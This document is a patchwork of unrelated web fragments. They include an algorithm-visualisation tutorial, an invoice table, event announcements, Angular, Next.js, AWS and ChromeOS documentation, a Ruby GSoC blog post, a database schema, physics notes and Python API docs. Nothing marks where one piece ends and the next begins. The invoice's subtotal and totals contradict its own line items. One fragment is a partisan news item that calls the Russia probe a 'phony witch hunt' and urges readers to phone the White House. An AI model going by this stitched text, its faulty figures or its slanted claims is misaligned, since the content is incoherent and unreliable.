avy_file = open('0.avy', 'w') # Start a new avy file list = [] for i in range(10): avy_file.write('step()\n') # Step in the animation list.append(i) avy_file.write('list.add(%d)\n' % i) # Tell avy that we added i to the list
Next we need to make a simple (but powerful) Javascript file called "avy.js". You can think of it as a configuration file.
Example:// Load required modules (core, list, node) define(['m/ziga/core/playback', 'm/ziga/core/svg', 'm/ziga/list/list', 'm/ziga/node/simple'], function(playback, svg, list, node) { // Define modules that will be handling calls from dot avy files // In this case we need a list that will handle list.add // We could also implement that function directly in this file var v = { // List needs a svg layer (pass the main one or create a sublayer with svg.add()) // and a node style (handles drawing of the nodes in the list) list: new list(svg, new node()) }; // Start playback of our dot avy files playback.load(v); });
And now for our final step we need to create a new visualization here on algoviz.net in your dashboard and upload our files (we only need to upload dot avy and avy.js, but it is nice to also include your algorithm code and input files that you used to generate dot avy files).


| # | Item | Description | Price | Qty | Total |
|---|---|---|---|---|---|
| 1 | Iphone 10X | Iphone 10X with headphone | $1500 | 10 | $15,000 |
| 2 | Iphone 8X | Iphone 8X with extended warranty | $1200 | 10 | $12,000 |
| 3 | Samsung 4C | Samsung 4C with extended warranty | $800 | 10 | $8000 |
| 4 | Google Pixel | Google prime with Amazon prime membership | $500 | 10 | $5000 |
| Subtotal | $28,809,00 |
| Discount (20%) | $5,761,00 |
| VAT (10%) | $2,304,00 |
| Total | $20,744,00 |


{% extends "base.html" %} {% block body_block %}
Other rooms are available. Start your own tourney, game of cards against humanity, or watch a movie.
IMPORTANT: Please sign in in the cafeteria before bringing in systems. That way you'll know where you're going.
IMPORTANT: Tournaments will start when scheduled. Please arrive early to make sure you're signed in!
Sign-in and concessions will be located in the first floor hallway/cafeteria.
Different tournaments are in different rooms.
General gaming will be located in D-115.
The Leauge of Legends Tournament and the CS:GO Tournament will take place simultaneously. Sorry:(
League of Legends Tournament
WHEN: Saturday, November 7, 2015. 12PM - 11:59PM.
ROOM: D-109
DETAILS: The League of Legends Tournament teams can be reserved before-hand on this site or will be decided on an ad-hoc basis.
This tournament will be 5 vs. 5 - Summoner's Rift in a tournament-style draft.
The format of the tournament is double elimination. Starting in the finals the round winners will be determined by best out of 3 games.
Tournament members must take screenshots of wins and losses for validity.


The following command builds the application into an output directory
The build artifacts will be stored in the /dist directory. All commands that build or serve your project, will delete the output directory.
To build your app with AoT (Ahead of Time) compiler, use the following command:
or if you want to serve with AoT, use the following:
This will make use of uglifying and tree-shaking functionality while serving the app from the memory.
If you happen to stumble upon an error while running the
command, there is an alternative one that you can use. The following command will run the ng build --prod command with an increased memory size so your app can be built:
Tests will execute after a build is executed via Karma, and it will automatically watch your files for changes.
You can run tests a single time via --watch=false or --single-run
Before running the tests make sure you are serving the app via ng serve. End-to-end tests are run via Protractor.
For more information about angular-cli commands, check the angular-cli.


Building this site has been a fun challenge for me. I've used HTML and CSS before, but I wanted to push myself to try new things and get to a more professional look in the process.
I designed the site drawing on programming and financial styling elements with the black background and bright text. To be honest design and especially color selection isn't really my strong point so I'm proud of what I was able to produce. I learned first hand just how important it is to get the wireframes right before getting into the code. A couple times I had to do rework when "brilliant" ideas struck later on in the process. Never again! :)
The site was built using the new semantic elements available in HTML5 instead of resorting to div's, id's, and classes. This was much more intuitive than I thought it would be and made the CSS much easier to manage along with making the code easier to read.
I learned a lot about CSS3 and tried to incorporate some of the newer pseudo-elements. At times I thought it might make more sense to reserve this interactivity for JavaScript, but with a basic site I can really see the value in keeping it simple.
For smaller projects I would probably start from a front-end framework like Bootstrap to reduce the amount of work needed to make the site responsive. I would also plan the build using tools available in GitHub so I don't miss anything and keep to a schedule. The milestones and labels on GitHub are great for making sure the changes needed get done and seem to offer similar utility as Trello. Thanks for reading!


WARNING: This is a proof-of-concept calculator designed to give a general idea of how taxes are calculated in the simplest of scenarios. It should in no way be considered advice, or binding, or predictive. Consult a tax professional for actual advice.
Note that the Retirement section doesn't necessarily mean "retirement", but rather a second period where income changes, perhaps no income.


With restful springiness in the seat; prevents static sitting and provides enhanced seating comfort. Padded seat and back for enhanced seating comfort. Soft, hardwearing and easy care leather, which ages gracefully.
For increased stability, re-tighten the screws about two weeks after assembly. Seat and back with restful flexibility; prevents a static sitting posture and enhances comfort.
Frame made of layer-glued bent birch; a very strong and durable material. High back provides great support for your neck. Sheepskin has natural insulating properties, which make it feel warm and cosy to sit on. Extra cushions are available for variation and renewal.
Easy to keep clean; removable, machine washable cover. Seat cushion with a top layer of memory foam; moulds to the precise contours of your body and regains its shape when you get up.
Height adjustable for a comfortable sitting posture. The sloping seat gives a comfortable sitting position when leaning forwards.


Jury Says Roger Stone Guilty of All Counts
Stone swept up by Dems’ phony Russia Witch Hunt against President Trump, which led to no where
A jury has found Trump confidant Roger Stone guilty of all federal counts against him, a verdict that came after deliberations stretched into the second day.
Stone was charged with seven counts stemming from the FBI’s probe into collusion between the Trump campaign and Russia, including obstruction, witness tampering and lying to Congress.
The jury of nine women and three men was deliberating since 10am Eastern on Thursday.
This is why it’s critical for everyone to start calling the White House at<PHONE_NUMBER> to demand justice for Stone:
Tune into the Alex Jones Show as we cover this completely unprecedented news:


The action_handlers
manifest property declares which user actions
or intents the application supports; these can serve as alternate launch points
for your application. This API is only available on ChromeOS.
This list contains one or more of the ActionType
values specified
in the ActionType
entry of
app.runtime.onLaunched.
{ "name": "My note {{platform}}", "action_handlers": ["new_note"], ... }


Electronic Bloopers
Do you like meddling with circuits? Do you like tinkering with the circuits in electronic items?  Then you are at the right place.
Elan 2011 gives you the opportunity to present your logic, your circuit designing skill (and your laziness) here at Electronic Bloopers. Join in this fun and exciting event as you race against time to ‘Debug’ the given circuit
Prizes worth Rs 6000/- to be won
All you need to do:
All you need to do to participate in this event is, form a team of 2 or 3 and then register for this event via the website of Elan .A small questionnaire will be presented before you to answer and the teams will be selected based on their answers.
Click here To Register..
Introduction
Format
Rules
Contact


Tim Berners-Lee is the inventor of the Web. Tim was working in a computing of CERN when he came up with the consept; at the time he had no idea that it would be implemented on such an enormous scale
Humanity finds a mysterious, obviously artifivial,object buried beneath the Lunar surface and, with the intelligent computer H.A.L. 9000, set off on a quest.
Monsieur Hulot comes to a beach side hotel for a vacation, where he accidentally (but good-naturedly) causes havoc.
The commercial vessel Nostromo receives a distress call from a unexplored planet. After searching for survivors, the crew heads home only to realize that a deady bioform has joined them.


| Created: | 1/27/2021 3:41:53 PM |
| Modified: | 1/27/2021 3:41:53 PM |
| Project: | |
| Advanced: |
| Attribute |
|
Public bigint ra_id |
|
Details:
|
|
Public bigint draw_id |
|
Details:
|
|
Public varchar(255) ra_type |
|
Details:
|
|
Public varchar(255) ra_number |
|
Details:
|
|
Public bigint ra_draw_remittance_advice_form_id |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_type |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_title |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_appropriation_data |
|
Details:
|
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Public varchar(255) ra_draw_remittance_advice_form_agency |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_pn |
|
Details:
|
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Public varchar(255) ra_draw_remittance_advice_form_c |
|
Details:
|
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Public varchar(255) ra_draw_remittance_advice_form_catalog |
|
Details:
|
|
Public bigint ra_draw_remittance_advice_form_fund_id |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_fund_code |
|
Details:
|
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Public varchar(255) ra_draw_remittance_advice_form_fund_description |
|
Details:
|
|
Public boolean ra_draw_remittance_advice_form_fund_is_federal |
|
Details:
|
|
Public varchar(255) ra_draw_remittance_advice_form_fund_fiscal_year |
|
Details:
|
|
Public varchar(255) ra_controller_receipt_number |
|
Details:
|
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Public timestamp with time zone(0) ra_created_at |
|
Details:
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Public bigint ra_created_by_user_id |
|
Details:
|
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Public varchar(255) ra_created_by_user_sub |
|
Details:
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Public varchar(255) ra_created_by_user_first_name |
|
Details:
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Public varchar(255) ra_created_by_user_last_name |
|
Details:
|
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Public varchar(255) ra_created_by_user_email |
|
Details:
|
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Public timestamp with time zone(0) ra_updated_at |
|
Details:
|
|
Public bigint ra_updated_by_user_id |
|
Details:
|
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Public varchar(255) ra_updated_by_user_sub |
|
Details:
|
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Public varchar(255) ra_updated_by_user_first_name |
|
Details:
|
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Public varchar(255) ra_updated_by_user_last_name |
|
Details:
|
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Public varchar(255) ra_updated_by_user_email |
|
Details:
|
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Public bigserial ods_id |
|
Details:
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Public jsonb ods_meta |
|
Details:
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Public varchar(255) ods_created_by |
|
Details:
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Public timestamp with time zone(0) ods_created_at |
|
Details:
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Public varchar(255) ra_created_by_user_oid |
|
Details:
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Public varchar(255) ra_updated_by_user_oid |
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| Operation | ||
|
Public remittance_advices_pkey( ods_id: bigserial, |
||
|
Details:
<<PK>>
|
| Tag | Value |
| Owner | public |
|
Details:
|
| Property | Value |
| isFinalSpecialization: | 0 |


Quiz Battle
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Let us analytically estimate the bounce frequency of barely trapped particles, i.e., particle satisfying the critical condition (76),
|
| (97) |
i.e., v∥ = v, where v∥ is the parallel velocity on the low-ﬁeld-side midplane.
The distance along the magnetic ﬁeld line travelled in half an orbit is about 2πR0q, then the time needed is then given by
|
| (98) |
The above approximation is rough since v∥ changes between zero and v and we still use a constant value, v, in approximating it.
Then the bounce (angular) frequency is given by
|
| (99) |
which turns out to be take the same form as Eq. (95). very strange!


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Comma Separated Skills: {{ form.skills }}
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Front-end Developer.
Owner at Swaynode Hosting.
mtt#0364
Here's some stuff I'm working on!
Feel free to DM me in any of my social media profiles.


Posted on 18/06/2017 at 3:30 PM by The Vibe.
There is something special in the air about the 18th of June. But what might possibly be special about this day? Maybe it's the International Father's day ? Or maybe it's my birthday? Or maybe it's the Champions Trophy 2017 Finale ? Or maybe because it's just a Sunday? No points for guessing, it's all of the above packaged into one single day.
Today also marks the end of the 3rd week of coding period of my GSoC project, daru-io. Time flies afterall. Through this blog post, I'd like to document the progress that happened in this week.
According to my timeline, the next importer I had planned to extend support, was the JSON Importer. For the uninitiated, JSON is the format in which most APIs provide response. For example, a typical API JSON response looks like the below -
#! Simple JSON
{
simple_key_1: :simple_value_1,
simple_key_2: :simple_value_2,
...,
simple_key_n: :simple_value_n
}
#! Complexly nested JSON
{
simple_key_1: :simple_value_1,
complex_key_1: {
simple_key_2: :simple_value_2,
complex_key_2: [1,2,3],
...
# More complex structures constituting of nested arrays,
# nested hashes or combinations of both.
}
}
Importing these simple JSON responses into Daru::DataFrame
was quite
simple, as the Daru::DataFrame.new()
method already supports various
types of inputs like hashes, arrays or array of hashes. Here's an example
showing import from a simple JSON response -
require 'daru/io/importers/json'
=> true
url = 'https://data.nasa.gov/resource/2vr3-k9wn.json'
df = Daru::IO::Importers::JSON.new(url).call
df
=> < Daru::DataFrame(202x10) >
designation discovery_ h_mag i_deg moid_au orbit_clas period_yr ...
0 419880 (20 2011-01-07 19.7 9.65 0.035 Apollo 4.06 ...
1 419624 (20 2010-09-17 20.5 14.52 0.028 Apollo 1 ...
2 414772 (20 2010-07-28 19 23.11 0.333 Apollo 1.31 ...
3 414746 (20 2010-03-06 18 23.89 0.268 Amor 4.24 ...
4 407324 (20 2010-07-18 20.7 9.12 0.111 Apollo 2.06 ...
5 398188 (20 2010-06-03 19.5 13.25 0.024 Aten 0.8 ...
6 395207 (20 2010-04-25 19.6 27.85 0.007 Apollo 1.96 ...
7 386847 (20 2010-06-06 18 5.84 0.029 Apollo 2.2 ...
... ... ... ... ... ... ... ... ...
Cool. But what about the important scenario of complexly nested structures?
The JsonPath
gem comes to rescue here, by allowing users to select certain
json-paths from the complex JSON structure, and then the Daru::DataFrame
is constructed from these json-paths. Hence, Daru::IO::Importers::JSON
can
be used to import dataframe from complexly nested JSON, in the below manner -
require 'daru/io/importers/json'
=> true
url = 'http://api.tvmaze.com/singlesearch/shows?q=game-of-thrones&embed=episodes'
df = Daru::IO::Importers::JSON.new(url,
"$.._embedded..episodes..name",
"$.._embedded..episodes..season",
"$.._embedded..episodes..number",
index: (10..70).to_a,
RunTime: "$.._embedded..episodes..runtime"
).call
# Note that the hash json-path selectors like index, RunTime, etc.
# should be given after normal json-path selectors like that of
# name, season and number.
df
=> < Daru::DataFrame(61x4) >
name season number RunTime
10 Winter is 1 1 60
11 The Kingsr 1 2 60
12 Lord Snow 1 3 60
13 Cripples, 1 4 60
14 The Wolf a 1 5 60
15 A Golden C 1 6 60
16 You Win or 1 7 60
17 The Pointy 1 8 60
18 Baelor 1 9 60
19 Fire and B 1 10 60
20 The North 2 1 60
21 The Night 2 2 60
22 What is De 2 3 60
23 Garden of 2 4 60
24 The Ghost 2 5 60
... ... ... ... ...
Currently, the JSON Importer is able to parse from local JSON files, remote
JSON files, JSON strings or JSON as Ruby objects (Arrays / Hashes).
However, certain beautifications are pending in the code & documentation.
If you're interested in knowing about what's making this work, please feel
free to have a look at the lib/io/importers/json.rb
file in
this Pull Request. Also,
have a look at this screenshot from the documentation to get to know better
about the arguments that this method takes.
From this Issue, I came to know that the existing CSV Importer acts slow (kind of), especially when the CSV file is really huge. Being asked by mentor Sameer to check for better alternatives for faster imports from CSV, I tested quite a few Ruby gems that parse CSV files. Here are the benchmarks for the various gems -
#! Benchmark results for CSV Importer
user system total real
existing stdlib 99.380000 1.290000 100.670000 (142.255080)
modified stdlib 17.340000 0.470000 17.810000 ( 40.721766)
smartercsv 65.400000 1.000000 66.400000 (116.842460)
fastcsv 7.660000 0.380000 8.040000 ( 13.105506)
rcsv 5.850000 0.210000 6.060000 ( 7.756945)
#! Importing a huge CSV file into Daru::DataFrame with rcsv gem
require 'daru'
require 'rcsv'
df = Daru::DataFrame.rows Rcsv.parse(File.open('path/to/water.csv'))
#! Importing a huge CSV file into Daru::DataFrame with fastcsv gem
require 'daru'
require 'fastcsv'
all = []
File.open('path/to/water.csv') { |f| FastCSV.raw_parse(f) { |row| all.push row } }
df = Daru::DataFrame.rows all[1..-1], order: all[0]
Yes, both fastcsv
and rcsv
come out to be 20x faster than the existing method. Depending on the outcome
of further discussions on
this issue's thread,
Daru::IO
might most likely feature a faster CSV Importer in the near future,
with support for fastcsv and/or rcsv.


{C}{C}
GIS Day is an international forum for geographic information system (GIS) users to share their knowledge and applications of GIS technology. GIS day provides an opportunity for students of all ages, professionals, businesses and the public to discuss the impact GIS has on our daily lives.
Wednesday November 19, 2014
International GIS Day
During Geography Awareness Week
9:00AM to 5:00PM
Register to attend ATX GIS Day!
Lyndon B. Johnson School of Public Affairs
The University of Texas at Austin
2300 Red River St.
Austin, TX 78712-1536
The map contest and gallery provides GIS/Cartographic professionals, students and enthusiasts a way to showcase and celebrate their GIS and Cartographic talents. Map contest/gallery entries will be displayed at the ATX GIS Day event. Submit your map HERE!
Become an ATX GIS DAY sponsor and extend your recognition, reach your target market and support GIS Day outreach and education efforts to AISD schools.
Click HERE for Sponsor Application and details.
ATX GIS DAY would not be possible without the help of volunteers! Opportunities include set-up/clean up, leading 5th grade activities, and welcoming and assisting guests and participants.
Sign up HERE to volunteer!


Fn::GetAZs
The intrinsic function Fn::GetAZs
returns an array that lists Availability
Zones for a specified region in alphabetical order. Because customers have access to different Availability Zones,
the intrinsic function Fn::GetAZs
enables template authors to write templates
that adapt to the calling user's access. That way you don't have to hard-code a full list of
Availability Zones for a specified region.
For the EC2-Classic platform, the Fn::GetAZs
function returns all
Availability Zones for a region. For the EC2-VPC platform, the
Fn::GetAZs
function returns only Availability Zones that have a default
subnet unless none of the Availability Zones has a default subnet; in that case, all
Availability Zones are returned.
Similarly to the response from the describe-availability-zones
AWS CLI
command, the order of the results from the Fn::GetAZs
function isn't
guaranteed and can change when new Availability Zones are added.
IAM permissions
The permissions that you need in order to use the Fn::GetAZs
function depend
on the platform in which you're launching Amazon EC2 instances. For both platforms, you need
permissions to the Amazon EC2 DescribeAvailabilityZones
and
DescribeAccountAttributes
actions. For EC2-VPC, you also need permissions to
the Amazon EC2 DescribeSubnets
action.
Declaration
JSON
{ "Fn::GetAZs" : "
region
" }
YAML
Syntax for the full function name:
Fn::GetAZs:
region
Syntax for the short form:
!GetAZs
region
Parameters
Return value
The list of Availability Zones for the region.
Examples
Evaluate a Region
For these examples, CloudFormation evaluates Fn::GetAZs
to the
following array—assuming that the user has created the stack in the
us-east-1
region:
[ "us-east-1a", "us-east-1b", "us-east-1c", "us-east-1d" ]
JSON
{ "Fn::GetAZs" : "" } { "Fn::GetAZs" : { "Ref" : "AWS::Region" } } { "Fn::GetAZs" : "us-east-1" }
YAML
Fn::GetAZs: "" Fn::GetAZs: Ref: "AWS::Region" Fn::GetAZs: us-east-1
Specify a subnet's Availability Zone
The following example uses Fn::GetAZs
to specify a subnet's Availability Zone:
JSON
"mySubnet" : { "Type" : "AWS::EC2::Subnet", "Properties" : { "VpcId" : { "Ref" : "VPC" }, "CidrBlock" : "<IP_ADDRESS>/24", "AvailabilityZone" : { "Fn::Select" : [ 0, { "Fn::GetAZs" : "" } ] } } }
YAML
mySubnet: Type: "AWS::EC2::Subnet" Properties: VpcId: !Ref VPC CidrBlock: <IP_ADDRESS>/24 AvailabilityZone: Fn::Select: - 0 - Fn::GetAZs: ""
Nested functions with short form YAML
The following examples show valid patterns for using nested intrinsic functions using
short form YAML. You can't nest short form functions consecutively, so a pattern like
!GetAZs !Ref
isn't valid.
YAML
AvailabilityZone: !Select - 0 - !GetAZs Ref: 'AWS::Region'
YAML
AvailabilityZone: !Select - 0 - Fn::GetAZs: !Ref 'AWS::Region'
Supported functions
You can use the Ref
function in the Fn::GetAZs
function.


Once upon a time in year 2017 in far far land called Mazpisani after a looooong night out the seven dwarves wake up and find out that Snowwhite has been kidnapped by evil wizard of the forest Mezciems. You have to rescue her from evil P.I.M.P.


The DOM of a Web page refers to Document Object Model that is organized as a tree structure. The elements are refered to their positions relative to other elements.
children()
prev(), next(), parent(), parents(), parentsUntil()
find()
each()
This is para 1
This is para 2
This is para 3
This is para 4
This is para 5


i3assist module¶
A module to help using I3 for sub-tomogram averaging.
Written By Dustin Reed Morado Last updated 04.11.2016
-
class
i3assist.
Euler
(phi=0.0, theta=0.0, psi=0.0, unit='deg')[source]¶ Bases:
object
Describes a particle’s orientation using ZXZ extrinsic euler angles.
The first rotation (phi) is about the z-axis (z). The second rotation (theta) is about the new x-axis (x’). The third rotation (psi) is about the new z-axis (z’‘) after the second rotation.
All rotations are of the coordinate axes and not of point coordinates.
Parameters: - phi (
float
, optional) – First rotation about the z-axis (z). - theta (
float
, optional) – Second rotation about the new x-axis (x’). - psi (
float
, optional) – Third rotation about the new z-axis (z’‘). - unit (
str
, optional) – Whether rotations are in degrees “deg” or radians “rad”.
-
angles
¶ list
offloat
– Array of rotations in order.Array is in the order phi, theta, psi
Parameters: value ( list
offloat
) – List-type array of the three rotations.
-
copy
()[source]¶ Returns a copy of the euler object.
Returns: Copy of Euler object. Return type: i3assist.Euler
-
degrees
(inplace=False)[source]¶ Converts Euler object to describe rotations in units of degrees.
Parameters: inplace ( boolean
, optional) – If True conversion will be done in-place.Returns: - Copy or self object with rotations in degree
- units.
Return type: i3assist.Euler
-
invert
(inplace=False)[source]¶ Returns a copy of euler object with inverted rotations.
Again we can simply take the negative of psi, theta, phi to invert the rotatations but it is more theoretically clear to convert the angles to a rotation matrix, transpose it, and convert it back to angles. We also get the added benefit of normalizing the angles.
Parameters: inplace – If set to True the Euler angles will be changed in-place instead of returning a copy. Returns: - Copy or self object describing the opposite
- rotation.
Return type: i3assist.Euler
-
normalize
(inplace=False)[source]¶ Returns a copy of euler object with rotations in old I3 bounds.
Old I3 requires that euler angles be given within the bounds: phi: -180 to 180 theta: 0 to 180 psi: -180 to 180
There are many equivalent euler angle formats and we can normalize the angles using these identities, but these ranges correspond to the ranges given by the default C math arc trig functions, which are used in going from rotation matrix to Euler angles so we just convert to rotation matrix and then back to Euler angles.
Parameters: inplace – If set to True the Euler angles will be changed in-place instead of returning a copy. Returns: - Copy or self object with rotations
- normalized to ranges required by old I3.
Return type: i3assist.Euler
-
phi
¶ float
– First rotation about the z-axis (z).Parameters: value ( float
) – New phi rotation.
-
pos_string
()[source]¶ Returns string of angles in old I3 pos format.
Returns: Old I3 pos format string of euler angles. Return type: str
-
psi
¶ float
– Third rotation about the new z-axis (z”).Parameters: value ( float
) – New psi rotation.
-
radians
(inplace=False)[source]¶ Converts Euler object to describe rotations in units of radians.
Parameters: inplace ( boolean
, optional) – If True conversion will be done in-place.Returns: - Copy or self object with rotations in radian
- units.
Return type: i3assist.Euler
-
theta
¶ float
– Second rotation about the new x-axis (x’).Parameters: value ( float
) – New theta rotation.
-
to_matrix
()[source]¶ Returns the RotationMatrix object equivalent of Euler object.
Returns: - Rotation matrix describing the
- equivalent euler angles.
Return type: i3assist.RotationMatrix
-
trf_string
()[source]¶ Returns string of angles in new I3 trf format.
Returns: New I3 trf format string of rotation matrix Return type: str
-
unit
¶ str
– Describes the unit of rotations as degrees or radians.Parameters: value ( str
) – “deg” to set unit as degrees or “rad” to set unit as radians.
- phi (
-
class
i3assist.
GridSearch
(theta_max=0.0, theta_step=0.0, psi_max=0.0, psi_step=0.0, do_180=False)[source]¶ Bases:
object
Describes the local grid search implemented in new I3.
See the explanation in MRASRCH and the I3 subvolume tutorial for more information on how the grid search is implemented. But overall the grid is defined by four parameters: Nutation (theta) maximum and step and Spin (psi) maximum and step. Finally there is a do_180 parameter to support the old I3 eulerFG scripts, but this is not available in new I3.
Parameters: - theta_max (
float
, optional) – Maximum half-angle of a cone of nutation about the north pole of the unit sphere. - theta_step (
float
, optional) – Angular increment of nutation. - psi_max (
float
, optional) – Maximum absolute angle of spin about the orientation axis of the particle. Searched in both directions. - psi_step (
float
, optional) – Angular increment of spin. - do_180 (
boolean
, optional) – If True the spins opposite of the current orientation’s facing will also be searched.
-
do_180
¶ boolean
Whether to search spins opposite particle facing.Parameters: value ( bool
) – True to search opposite facing spin angles.
-
psi_max
¶ float
Max absolute angle of spin about the particle z-axis.Parameters: value ( float
) – Max absolute spin angle in range 0 to 180.
-
psi_step
¶ float
Angular increment of spin.Parameters: value ( float
) – Spin angular increment in the range 0 to 180.
-
rotations
¶ list
ofi3assist.Euler
Rotations searched in i3.Parameters: params ( tuple
offloat
andboolean
) – A tuple with theta_max, theta_step, psi_max, psi_step, and do_180.
-
theta_max
¶ float
Max half-angle of nutation about the north pole.Parameters: value ( float
) – half-angle in the range 0 to 180.
-
theta_step
¶ float
Angular increment of nutation.Parameters: value ( float
) – Angular increment in the range 0 to 180.
- theta_max (
-
class
i3assist.
RotationMatrix
(angles=None, unit='deg')[source]¶ Bases:
object
Describes a particle’s orientation using ZXZ passive rotation matrix.
The rotation matrix is the composition of three rotations matrices with the first and third being about the Z-axis and the second about the X-axis.
All rotations are passive (alias) transformations of the coordinate axes and not of point coordinates (active / alibi).
Parameters: - angles (
list
offloat
, optional) – Euler angles describing the rotation. - unit (
str
, optional) – Whether rotations are in degrees “deg” or radians “rad”
-
invert
(inplace=False)[source]¶ Returns rotation matrix describing opposite rotation.
Rotation matrices are orthogonal and hence their transpose is their inverse.
Parameters: inplace ( boolean
, optional) – If True the operation will be done on the object in-place instead of returning a copy.Returns: - Copy or self object of the inverted
- rotation matrix.
Return type: i3assist.RotationMatrix
-
matrix
¶ numpy.ndarray
– (3,3) matrix describing the rotation.Matrix is ordered in the standard format with the first index describing the row and the second index describing the column.
Parameters: value ( numpy.ndarray
) – Euler angles in radians or Rotation matrix.
-
pos_string
()[source]¶ Returns string of angles in old I3 pos format.
Returns: Old I3 pos format string of euler angles. Return type: str
-
to_euler
(unit='deg')[source]¶ Converts rotation matrix to equivalent euler angles.
Algorithm from Chapter 1 of “Computational Methods for Three-Dimensional Microscopy Reconstruction” Ed. Joachim Frank, Gabor Herman.
Parameters: unit ( str
, optional) – Whether to return the Euler angles in degrees or radians.Returns: Euler angle equivalent of rotation matrix Return type: i3assist.Euler
-
transpose
(inplace=False)[source]¶ Returns rotation matrix describing opposite rotation.
Rotation matrices are orthogonal and hence their transpose is their inverse.
Parameters: inplace ( boolean
, optional) – If True the operation will be done on the object in-place instead of returning a copy.Returns: - Copy or self object of the inverted
- rotation matrix.
Return type: i3assist.RotationMatrix
- angles (
-
class
i3assist.
Transform
(transform_line)[source]¶ Bases:
object
A single particle transform in new I3.
For more information refer to the subvolume tutorial document for I3.
Parameters: transformLine ( str
) – A string with the transform data.-
add_rotation
(rotation, inplace=False)[source]¶ Adds a rotation in addition to particles current orientation.
Parameters: - rotation (
i3assist.RotationMatrix
) – Rotation to add. - inplace – If True the operation will be done in-place and modify the transform instead of returning a copy.
Returns: Copy or self rotated transform object.
Return type: - rotation (
-
add_shift
(shift_x=0.0, shift_y=0.0, shift_z=0.0, inplace=False)[source]¶ Adjusts the particles defined center by an arbitrary vector.
Parameters: - shift_x (
float
, optional) – Amount to shift in x. - shift_y (
float
, optional) – Amount to shift in y. - shift_z (
float
, optional) – Amount to shift in z. - inplace (
float
, optional) – If True the operation will be done in-place and modify thet transform instead of returning a copy.
Returns: Copy or self shifted transform object.
Return type: - shift_x (
-
class_number
¶ int
Class number that the particle belongs to.Parameters: value ( int
) – Particle Class.
-
coordinates
¶ list
ofint
Particles integer coordinates in tomogram.Coordinates are stored here as column arrays to help with using them with the rotation matrices.
Parameters: value ( list
ofint
) – List with 3 elements for particles coordinates relative to the tomogram map it’s extracted from.
-
rotation
¶ i3assist.RotationMatrix
Particles rotation matrix to orient.Parameters: value ( list
offloat
) – Rotation matrix.
-
scale
(scale_factor, inplace=False)[source]¶ Scale the transform to handle binning.
Parameters: - scale_factor (
float
) – Amount to scale transform by. - inplace – If True the operation will be done in-place and modify the transform instead of returning a copy.
Returns: Copy or self scaled transform object.
Return type: - scale_factor (
-
score
¶ float
Correlation score of particle alignment to reference.Parameters: value ( float
) – Correlation score.
-
shifts
¶ list
offloat
Particle displacements from coordinates.Displacements are stored here as column arrays to help with using them with the rotation matrices. Again as for rotations translations are alibi translations of the coordinate system and not the actual points.
Parameters: value ( list' of :obj`float
) – List with 3 elements for particles shifts relative to the center of the reference.
-
subset
¶ str
Subset identifier for particle.Parameters: value ( str
) – Subset name around 10 characters.
-
-
class
i3assist.
TransformList
(filename='', transforms=None)[source]¶ Bases:
object
Describes a full transform file with as a list of Transforms.
For more information refer to the subvolume tutorial document for I3.
Parameters: - filename (
str
) – Filename of trf file. - transforms (
list
ofi3assist.Transform
) – List of transforms.
-
filename
¶ Filename associated with transform list.
Parameters: value ( str
) – Filename of trf file.
-
from_file
(filename)[source]¶ Loads list of transforms from a trf file.
Parameters: filename ( str
) – Filename of trf file.
-
get_by_class
(class_number)[source]¶ Gets a subset of a transform list based on the class number.
Parameters: class_number ( int
) – The class number to search for.Returns: - Subset of self that matches the.
- class number requested.
Return type: i3assist.TransformList
-
get_by_subset
(subset)[source]¶ Gets a subset of a transform list based on the subset field.
Parameters: subset ( str
) – The subset field to search for.Returns: - Subset of self that matches the.
- subset requested.
Return type: i3assist.TransformList
-
scale
(scale_factor, inplace=False)[source]¶ Scales all of the transforms in a list.
Parameters: - scale_factor (
float
) – Amount which to scale the transforms. - inplace – If True, scaling will be done in-place instead of returning a copy.
Returns: Scaled transform list.
Return type: - scale_factor (
-
sort_by_class
(inplace=False)[source]¶ Sorts a transform list by class numbers.
Parameters: inplace – If True the list is not returned and the sorting is done in-place. Otherwise a sorted copy is returned. Returns: Transform list sorted by class. Return type: i3assist.TransformList
-
sort_by_score
(inplace=False)[source]¶ Sorts a transform list by correlation coefficient.
Parameters: inplace – If True the list is not returned and the sorting is done in-place. Otherwise a sorted copy is returned. Returns: Transform list sorted by score. Return type: i3assist.TransformList
-
to_file
(filename)[source]¶ Writes out a Transform list to a trf file.
Parameters: filename ( str
) – Name of file to write to.
-
transforms
¶ List of Transform objects.
Parameters: value ( list
ofi3assist.Transform
) – List of transforms.
- filename (


The Next.js CLI allows you to start, build, and export your application.
To get a list of the available CLI commands, run the following command inside your project directory:
(npx comes with npm 5.2+ and higher)
The output should look like this:
Usage
$ next <command>
Available commands
build, start, export, dev, lint, telemetry
Options
--version, -v Version number
--help, -h Displays this message
For more information run a command with the --help flag
$ next build --help
You can pass any node arguments to next
commands:
next build
creates an optimized production build of your application. The output displays information about each route.
The first load is indicated by green, yellow, or red. Aim for green for performant applications.
You can enable production profiling for React with the --profile
flag in next build
. This requires Next.js 9.5:
After that, you can use the profiler in the same way as you would in development.
You can enable more verbose build output with the --debug
flag in next build
. This requires Next.js 9.5.3:
With this flag enabled additional build output like rewrites, redirects, and headers will be shown.
next dev
starts the application in development mode with hot-code reloading, error reporting, and more:
The application will start at http://localhost:3000
by default. The default port can be changed with -p
, like so:
Or using the PORT
environment variable:
Note:
PORT
can not be set in.env
as booting up the HTTP server happens before any other code is initialized.
You can also set the hostname to be different from the default of <IP_ADDRESS>
, this can be useful for making the application available for other devices on the network. The default hostname can be changed with -H
, like so:
next start
starts the application in production mode. The application should be compiled with next build
first.
The application will start at http://localhost:3000
by default. The default port can be changed with -p
, like so:
Or using the PORT
environment variable:
Note:
PORT
can not be set in.env
as booting up the HTTP server happens before any other code is initialized.
next lint
runs ESLint for all files in the pages
, components
, and lib
directories. It also provides a guided setup to install any required dependencies if ESLint is not already configured in your application.
If you have other directories that you would like to lint, you can specify them using the --dir
flag:
Next.js collects completely anonymous telemetry data about general usage. Participation in this anonymous program is optional, and you may opt-out if you’d not like to share any information.
To learn more about Telemetry, please read this document.


Working with Kotlin/Native Libraries
| 最近更新 | 2018-01-22 |
In this tutorial we'll see
- What is a Kotlin/Native Libary
- How to create a Kotlin/Native Library
- How to consume Kotlin/Native libraries
- How to use and create library repositories
What is Kotlin/Native Library
The concept of a library, a collection of functions and other resources such as images, to be used by applications is available in Kotlin/Native and it is represented
as a file with the extension klib
